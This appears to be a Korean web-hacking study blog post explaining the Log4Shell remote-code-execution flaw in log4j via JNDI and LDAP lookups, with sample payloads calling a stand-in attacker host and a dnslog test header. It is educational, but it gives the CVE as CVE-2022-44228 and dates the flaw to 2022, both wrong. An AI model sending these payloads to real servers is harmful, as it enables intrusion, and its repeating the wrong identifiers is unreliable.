Study/Web Hacking Study

[WebHacking Study] Log4Shell (Log4j) 취약점 분석

반응형
SMALL

Log4Shell 취약점 소개

Log4Shell은 java의 log4j 모듈에서 발생한 RCE 취약점입니다, 해당 취약점은 2022년에 발생된 취약점입니다.

 

해당 취약점이 발견되었을때, 많은 국내/해외 기업들이 java 기반 서버를 구축하고 log4j 라이브러리로 에플리케이션 에러, 접속 로그 등을 기록하였기 때문에 굉장히 심각하고 유명했었던 취약점으로 분류되어있습니다.

 

굉장히 많은 기업들에게 동시다발적으로 발생하게된 취약점이고 라이브러리의 사용도가 굉장히 높았기 때문에, 해당 취약점의 크리티컬 분류 스코어는 가장 높은 단계인 10.0으로 분류되어있습니다.

 

이중에서 가장 유명한 log4j에서 발생한 RCE(Remote Code Excute(원격 코드 실행)) 1day 취약점에 대해 자세히 정리해보겠습니다.

 

해당 취약점은 CVE-2022-44228로 분류되며, 대중적으로는 log4j에서 RCE공격이 발생하였기 때문에 log4shell이라고 많이 부르고 있습니다.

Log4j의 역할

하지만 java 언어에 친숙하지 않은 사람들은 해당 log4j에 대해 친숙하지 않고, 대부분은 로그를 기록하는 라이브러리라고 많이 알려져 있습니다.

 

log4j는 인터넷에서 가장 널리 사용되는 로깅 프레임워크로서 많은 기업에서는 Apache의 log4j를 아주 전반적인 에플리케이션에 통합하였습니다.

 

log4j는 소프트웨어의 메시지를 기록하고 나중에 오류를 검색합니다, 데이터의 범위는 기본 브라우저 및 웹 페이지 접속 로그, 에러 로그, 통신 로그, 채팅 로그등 로그를 기록하는 상황에서면 어디에서든지 사용될 수 있습니다.

 

또한 log4j 라이브러리는 간단한 로그를 생성할 수 있을 뿐만 아니라, 특정 명령을 생성하여 로급 로깅 정보를 생성해낼수도 있습니다, 이를 통해 내부 디렉터리 서비스와 같은 다른 서비스와도 통신을 진행할 수 있습니다.

 

해당 log4j는 Minecraft 게임에서도 사용이 되었고, Minecraft 에플리케이션에서도 log4shell 취약점이 발생하였음으로, 그만큼 파급력이 엄청났다는 것을 증명하고 있습니다.

 

위 사진과 같이 Minecraft에서는 채팅 내역등을 log4j 프레임워크로 기록하고 있었기 때문에 위 사진과 같이 log4shell 페이로드를 보내게 된다면 RCE 공격이 실제로 발생하는 것을 확인해볼 수 있습니다.

 

이 외에도 Apple, Google, Microsoft, Cloudflare 등이 해당 취약점에 취약해졌으며 스트리밍 서비스인 Twitter, Stream과 같은 에플케이션도 해당 취약점의 타겟 대상이 되었습니다.

 

국내 기업도 예외는 아니었습니다, Naver, Kakao, 우와한형제들과 같은 다양한 기업에서도 해당 취약점의 타겟이 되었었고 유명한 일화로 해당 취약점이 발생한 날, 한 개발자분이 술드시고 있다가 해당 문제를 해결하기 위해 취한상태로 밤을 지세웠다고 합니다..ㅋㅋㅋ

Log4Shell 취약점에 대한 발생 원리와 JNDI

log4shell 발생 원리

해당 취약점의 발생 원리는 RCE를 허용할 수 있는 JNDI(Java Naming and Directory Interface) 주입 취약점입니다.

 

취약한 버전의 log4j는 기록된 로그 메시지에 신뢰랄 수 없는 악성 페이로드를 포함하여, 공격자는 JNDI 조회를 통해 악성 서버에 대한 연결을 직접적으로 설정할 수 있습니다.

 

이와 같은 간단한 POC 페이로드와 높은 파급력 때문에 해당 취약점의 크리티컬 스코어가 10으로 분류되었습니다.

 

JNDI 조회는 기업의 네트워크 장치로써 중요한 정보를 제공하는 DNS, LDAP, RMI 등 다양한 유형의 디렉터리를 지원함으로, 엄청난 위혐 요소로 여겨질 수 있습니다.

 

여기서 해당 취약점 페이로드의 핵심 부분인 JNDI에 대해 더 자세하게 알아보겠습니다.

JNDI (Java Naming Directory Interface)

JNDI는 말그대로 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견하고 참고하기 위한 java의 API입니다.

 

이러한 JNDI는 일반적으로 아래의 용도로 유용하게 사용됩니다.

 

- 자바 애플리케이션을 외부 디렉터리 서비스에 연결 (LDAP 서버 등)

- 자바 애플릿이 호스팅 웹 컨테이너가 제공하는 구성 정보를 참고

 

해당 JNDI는 일반적으로 데이터베이스 연결에 가장 많이 사용됩니다.

 

이러한 기능을 사용하는 이유는 프로젝트 내부에 DB 접속 정도를 저장하지 않고, WAS 서버 등에 DB 접속 정보를 저장해두고 사용하기 위함입니다.

 

보통 이러한 역할은 소규모 프로젝트에서는 사용하지 않지만 대규모 프로젝트에서는 DB와 서버 등이 분리되어야 함으로 이러한 DB와 서버를 분리하기 위해 자주 사용됩니다.

 

해당 기능을 사용하기 위해서는 web.xml 파일과 server.xml 파일을 설정해주어야합니다.

// web.xml

...
<resource-ref>
    <description>Resource</description>
    <res-ref-name>jdbc/EmployeeDB</res-ref-name>
    <res-type>javax.sql.DataSource</res-type>
    <res-auth>Container</res-auth>
</resource-ref>
// server.xml

...
<Resource name="jdbc/EmployeeDB"
          auth="Container"
          type="javax.sql.DataSource"
          username="dbusername"
          password="dbpassword"
          driverClassName="driverName"
          url="jdbc:oracle:thin..."
          maxActive="8"
          maxIdle="4"/>

 

물론, 해당 구성 방식은 서버의 목적에 따라 다르게 설계될 수 있으며 위는 가장 기본적인 설정 방법입니다.

 

이러한 서비스를 어떻게 log4shell 위해 사용될 수 있을까요? 이러한 방법의 정답은 JNDI와 LDAP를 같이 사용하면서 발생합니다.

 

그러면 LDAP에 대해 자세히 알아보고 정리해볼 필요가 있습니다.

LDAP (Lightweight Directory Access Protocol)

해당 프로토콜은 디렉터리 서비스를 제공하기 위하여 만들어졌습니다.

 

개발된지는 30년이 넘었지만 IT환경에 맞춰서 꾸준히 변화해오면서 현재도 많은 기업 시스템과 보안 서비스에서 사용자 관리와 인증을 위해 사용되고 있습니다.

 

이러한 프로토콜의 역할은 네크워크상에서 조직이나 개인, 파일, 디바이스 등을 찾아볼 수 있게 해주는 소프트웨어 프로토콜입니다.

 

여기서 해당 기능이 프로토콜이라는 점을 유의깊게 살펴보아야합니다.

 

디렉터리 서비스에 대해서 궁금해질 수 있는데, 이름을 기준으로 대상을 찾아 조회하거나 편집할 수 있는 서비스입니다.

 

해당 정의에 따르면 DNS 서비스는 디렉터리 서비스에 해당한다고 볼 수 있습니다. (이름을 기준으로 특정 IP와 조회해주고 연결을 수립해주기 때문)

 

해당 프로토콜의 주요 용도는 사용자, 시스템, 네트워크, 서비스, 애플리케이션 등의 정보를 트리구조로 하여 조회하거나 관리하기 위해서 사용됩니다.

 

또한 회사에서 구성원의 조직도나 팀별 이메일 주소 등도 LDAP로 관리할 수 있습니다.

 

이러한 이유에서 해당 프로토콜이 주로 사용되며, LightWeight 통신 네트워크가 굉장히 가볍기 때문에 많은 기업들이 애용하고 있는 통신 프로토콜이라고 할 수 있습니다. 해당 프로토콜은 또한 별도의 설정이 필요가 없습니다.

 

여기까지 사용이 된다는 것을 알게 되면 대략적으로 log4shell이 왜 발생되는지 추측할 수 있습니다.

log4shell (JNDP + LDAP)

앞서 정리한 것과 같이 JNDP는 디렉터리 서비스에서 제공하는 데이터와 객체를 살펴보기 위한 java api이고, LDAP는 프로토콜이며 내트워크상에서 조직이나 개인의 파일이나 디바이스등을 찾을 수 있도록 하는 것임을 알고 있습니다.

 

그러면 이를 합치게 되면 어떻게 될지 대략적으로 예상이 가능합니다.

 

JNDI를 사용하여 LDAP 프로토콜로 공격자의 서버에 자바의 코드 실행이 가능한 객체를 매핑해주게 된다면 LDAP 프로토콜은 해당 파일을 찾을 수 있도록 조회하고 JNDI에서 일치하는 java 객체와 데이터를 탐색할 것입니다.

 

탐색하는 과정에서 코드 실행이 가능한 java 객체를 발견하게 되고 결론적으로 해당 객체를 실행하면서 RCE가 발생되게 됩니다.

 

위는 log4shell이 발생되는 시나리오와 POC가 동작하게 되는 과정을 도식화로 나타낸 것입니다.

 

log4j에는 앞서 정리한것과 같이 간단한 로그 기록도 가능하지만, 특정 지원되는 명령어를 통해 고급 로깅을 진행할 수 있습니다.

 

지원되는 명령어 중 ${prefix:name} 명령어가 존재합니다, 해당 명령어를 해석하면 prefix는 name을 평가하게됩니다.

 

예를 들어 ${java:version}을 log4j로 로깅하게 된다면 java의 현재 버전을 기록하게 됩니다, 이러한 로깅 명령어는 따로 필터링 하지 않고 있었습니다.

 

또한 log4j2-313에서는 JNDI 조회를 지원하기 시작했습니다.

"JndiLookup을 사용하면 JNDI를 통해 변수를 검색할 수 있습니다, 기본저으로 키에는 java:comp/env/"라는 접두사가 붙지만, 키에 ":"가 포함되게 된다면 접두사를 추가하지 않습니다."

 

이러한 지원때문에 log4j는 log4shell이라는 CVE-2022-44228이라는 취약점에 굉장히 심하게 노출되게 됩니다, JNDI + LDAP를 동시에 사용하여 아래와 같은 취야한 페이로드를 보낼 수 있습니다.

${jndi:ldap://attacker.com/java/object}

 

정말 놀랍게도 log4j는 해당 페이로드를 전혀 필터링하지 않습니다, 위와 같은 로그를 취약점이 발생하는 버전의 log4j에 기록하게 된다면 attacker.com에 방문하게 될것이고 /java/object 경로에 있는 java 객체를 jndi를 통해 탐색하게 될 것입니다.

 

여기서 해당 경로에 접속한 경우 공격자 컨트롤러는 취약한 java 클래스인 (ExploitPayload.class, 등)으로 리디렉션하도록 지정해줘서 해당 객체를 참조하도록 설정합니다.

 

log4j는 해당 클래스를 로드하고 직접적으로 "실행"합니다. 이를 통해 공격자는 RCE 등과 같은 Shell을 탈취할 수 있습니다.

 

아래는 공격 가능한 데이터의 흐름도입니다.

 

아래는 공격 가능한 java의 취약한 버전의 범위도입니다.

Log4shell에 취약한지 확인하는 방법

직접적으로 log4j를 사용하는지 확인이 안되는 경우 로그가 기록될만한 기능에 직접적으로 테스트 페이로드를 주입해 확인해볼 수 있습니다.

 

예시 테스트 가능 기능은 주로 로그 기록이 많이 되는 HTTP Header나, 특정 로그인 ID,PW, 채팅 서비스 등이 해당 될 수 있을 것 입니다.

 

또한 DNS로거(dnslog.cn) 등을 사용하게 된다면 도메인 이름을 생성하고, 이를 테스트 페이로드로 사용할 수 있습니다.

 

아래는 테스트를 시도해볼 수 있습니다.

// 테스트 중인 서버가 localhost에서 실행 중인 경우
127.0.0.1:8080 -H 'X-APi-Version:${jndi:ldap://xxx.dnslog.cn/a}'

 

해당 페이로드를 보내고 페이지를 새로고침하면, 호스트를 식별하는 DNS 쿼리가 표시됩니다.

 

또는 아래와 같은 페이로드를 테스트하여 log4j로부터 요청이 오는지 테스트 해볼 수 있습니다.

${jndi:ldap://attacker.com}

 

위와 같은 요청을 보내서, 서버로부터 요청이 들어오게 된다면 해당 log4shell 페이로드가 정상적으로 실행된다는것으로 판단할 수 있습니다.

 

해당 페이로드는 마찬가지로 로깅이 발생될 기능에서 요청을 보내보면서 테스트를 해볼 수 있습니다.

반응형
LIST